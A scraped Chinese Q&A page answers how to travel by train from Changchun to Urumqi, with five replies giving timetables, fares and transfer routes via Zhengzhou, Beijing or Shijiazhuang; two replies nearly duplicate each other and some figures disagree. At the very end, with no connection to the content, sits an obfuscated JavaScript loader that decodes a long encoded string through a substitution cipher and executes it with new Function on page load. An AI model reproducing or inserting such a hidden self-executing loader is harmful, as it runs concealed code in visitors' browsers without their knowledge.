长春到乌鲁木齐火车票怎么买?

2025-03-17 03:51:31
推荐回答(5个)
回答1:

长春 到 郑州 的时刻如下: 车次 类型 长春
开车时间 郑州
到达时间 用时 里程 硬座 硬卧中
T181/T184 空调特快 11:14 次日05:58 18小时44分 1788 208 367
K125/K128 空调快速 12:45 次日13:00 24小时15分 1868 215 377
T122/T123 空调特快 21:17 次日16:46 19小时29分 1829 208 367
T235/T238 空调特快 21:28 次日15:44 18小时16分 1788 208 367
K545/K548 空调快速 23:21 次日22:58 23小时37分 1864 215 377
郑州 到 乌鲁木齐 的时刻如下: 车次 类型 郑州
开车时间 乌鲁木齐
到达时间 用时 里程 硬座 硬卧中
T192/T193 空调特快 00:03 次日09:50 33小时47分 3079 316 550
T69 空调特快 01:14 次日10:50 33小时36分 3079 316 550
K594/K595 空调快速 03:38 次日18:36 38小时58分 3079 316 550
T52/T53 空调特快 06:09 次日15:17 33小时8分 3079 316 550
1085 普快 17:52 第3日11:15 41小时23分 3079 154 313
1085/1088 普快 17:52 第3日11:15 41小时23分 3079 154 313
1045 普快 20:52 第3日14:39 41小时47分 3079 154 313
T197 空调特快 21:56 第3日07:43 33小时47分 3079 316 550

回答2:

车次 出发站 开车时间 到达站 到达时间 用时 里程 硬座 软座 硬卧 软卧
D24 长春 07:13 北京 13:29 6小时16分 1003 0 0 0 0
1302 长春 05:40 北京 21:16 15小时50分 1126 109 0 202 330
D28 长春 10:50 北京 17:10 6小时22分 1003 0 0 0 0
K20 长春 15:55 北京 05:31 13小时46分 1167 73 124 139 228
K266 长春 22:55 北京 10:48 12小时9分 1003 122 0 214 331
K340 长春 22:01 北京 10:16 12小时23分 1003 116 0 204 325
K40 长春 15:55 北京 05:31 13小时46分 1167 138 0 241 381
T155/T158 长春 11:56 北京 19:51 7小时58分 1003 109 173 196 302
T272 长春 23:30 北京 09:40 10小时20分 1003 127 201 234 355
T60 长春 22:42 北京 07:42 9小时0分 1003 130 206 239 365
Z62 长春 22:10 北京 06:00 7小时50分 1003 0 0 239 365
-----------------------------
车次 站次 站名 到达时间 开车时间 运行时间 里程 硬座票价 软座票价 硬卧票价 软卧票价
T69 1 北京西 始发站 18:44 0分 0 0 0 0 0
T69 2 石家庄 21:15 21:19 2小时31分 277 42 64 96 139
T69 3 邯郸 22:40 22:42 3小时56分 442 65 101 123 183
T69 4 安阳 23:21 23:22 4小时37分 502 73 0 133 205
T69 5 新乡 00:14 00:15 5小时30分 609 82 0 149 232
T69 6 郑州 01:03 01:14 6小时19分 689 94 0 169 264
T69 7 洛阳 02:35 02:37 7小时51分 813 106 0 191 298
T69 8 西安 07:03 07:09 12小时19分 1200 150 0 265 417
T69 9 宝鸡 08:44 08:46 14小时0分 1373 170 0 300 472
T69 10 天水 10:18 10:24 15小时34分 1528 182 0 323 511
T69 11 兰州 14:04 14:12 19小时20分 1876 215 0 377 600
T69 12 武威 17:27 17:33 22小时43分 2179 242 0 423 671
T69 13 金昌 18:17 18:19 23小时33分 2253 245 0 431 686
T69 14 张掖 19:57 19:59 25小时13分 2423 266 0 465 738
T69 15 清水 21:22 21:24 26小时38分 2560 276 0 483 770
T69 16 嘉峪关 22:20 22:28 27小时36分 2646 281 0 491 783
T69 17 玉门镇 23:40 23:42 28小时56分 2778 293 0 510 813
T69 18 柳园 01:26 01:32 30小时42分 2943 302 0 527 841
T69 19 哈密 04:14 04:26 33小时30分 3215 320 0 558 890
T69 20 鄯善 07:01 07:07 36小时17分 3485 344 0 599 955
T69 21 吐鲁番 08:42 08:48 37小时58分 3625 355 0 619 985
T69 22 乌鲁木齐 10:50 终点站 40小时6分 3768 363 0 631 1006

回答3:

车次 出发站 开车时间 到达站 到达时间 用时 里程 硬座 软座 硬卧 软卧
D24 长春 07:13 北京 13:29 6小时16分 1003 0 0 0 0
1302 长春 05:40 北京 21:16 15小时50分 1126 109 0 202 330
D28 长春 10:50 北京 17:10 6小时22分 1003 0 0 0 0
K20 长春 15:55 北京 05:31 13小时46分 1167 73 124 139 228
K266 长春 22:55 北京 10:48 12小时9分 1003 122 0 214 331
K340 长春 22:01 北京 10:16 12小时23分 1003 116 0 204 325
K40 长春 15:55 北京 05:31 13小时46分 1167 138 0 241 381
T155/T158 长春 11:56 北京 19:51 7小时58分 1003 109 173 196 302
T272 长春 23:30 北京 09:40 10小时20分 1003 127 201 234 355
T60 长春 22:42 北京 07:42 9小时0分 1003 130 206 239 365
Z62 长春 22:10 北京 06:00 7小时50分 1003 0 0 239 365
-----------------------------
车次 站次 站名 到达时间 开车时间 运行时间 里程 硬座票价 软座票价 硬卧票价 软卧票价
T69 1 北京西 始发站 18:44 0分 0 0 0 0 0
T69 2 石家庄 21:15 21:19 2小时31分 277 42 64 96 139
T69 3 邯郸 22:40 22:42 3小时56分 442 65 101 123 183
T69 4 安阳 23:21 23:22 4小时37分 502 73 0 133 205
T69 5 新乡 00:14 00:15 5小时30分 609 82 0 149 232
T69 6 郑州 01:03 01:14 6小时19分 689 94 0 169 264
T69 7 洛阳 02:35 02:37 7小时51分 813 106 0 191 298
T69 8 西安 07:03 07:09 12小时19分 1200 150 0 265 417
T69 9 宝鸡 08:44 08:46 14小时0分 1373 170 0 300 472
T69 10 天水 10:18 10:24 15小时34分 1528 182 0 323 511
T69 11 兰州 14:04 14:12 19小时20分 1876 215 0 377 600
T69 12 武威 17:27 17:33 22小时43分 2179 242 0 423 671
T69 13 金昌 18:17 18:19 23小时33分 2253 245 0 431 686
T69 14 张掖 19:57 19:59 25小时13分 2423 266 0 465 738
T69 15 清水 21:22 21:24 26小时38分 2560 276 0 483 770
T69 16 嘉峪关 22:20 22:28 27小时36分 2646 281 0 491 783
T69 17 玉门镇 23:40 23:42 28小时56分 2778 293 0 510 813
T69 18 柳园 01:26 01:32 30小时42分 2943 302 0 527 841
T69 19 哈密 04:14 04:26 33小时30分 3215 320 0 558 890
T69 20 鄯善 07:01 07:07 36小时17分 3485 344 0 599 955
T69 21 吐鲁番 08:42 08:48 37小时58分 3625 355 0 619 985

回答4:

花最少时间的转乘法:

在途时间51小时37分
车次 发站 到站 开车 到点 里程 时长 公司 类型 票价(参考) 始发 预定 备注
D24 长春 北京 07:13 13:29 1003 06:16 铁路 空调动车 207(软座) 是 住宿
T69 北京西 乌鲁木齐 18:44 10:50 3768 40:06 铁路 空调特快 362(硬座) 641(硬卧) 1005(软卧 ) 是 订票 住宿

在途时间59小时20分
车次 发站 到站 开车 到点 里程 时长 公司 类型 票价(参考) 始发 预定 备注
T272 长春 北京 23:30 09:40 1100 10:10 铁路 空调特快 139(硬座) 251(硬卧) 390(软卧 ) 否 住宿
T69 北京西 乌鲁木齐 18:44 10:50 3768 40:06 铁路 空调特快 362(硬座) 641(硬卧) 1005(软卧 ) 是 订票 住宿

回答5:

长春 11:04 2045/2048 07:43 石家庄 21:19 T69 乌鲁木齐 10:50 4867
长春 12:45 K125/K128 07:32 石家庄 21:19 T69 乌鲁木齐 10:50 4947
长春 21:17 T122/T123 12:38 石家庄 21:19 T69 乌鲁木齐 10:50 4908
长春 21:28 T235/T238 11:41 石家庄 21:19 T69 乌鲁木齐 10:50 4867

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();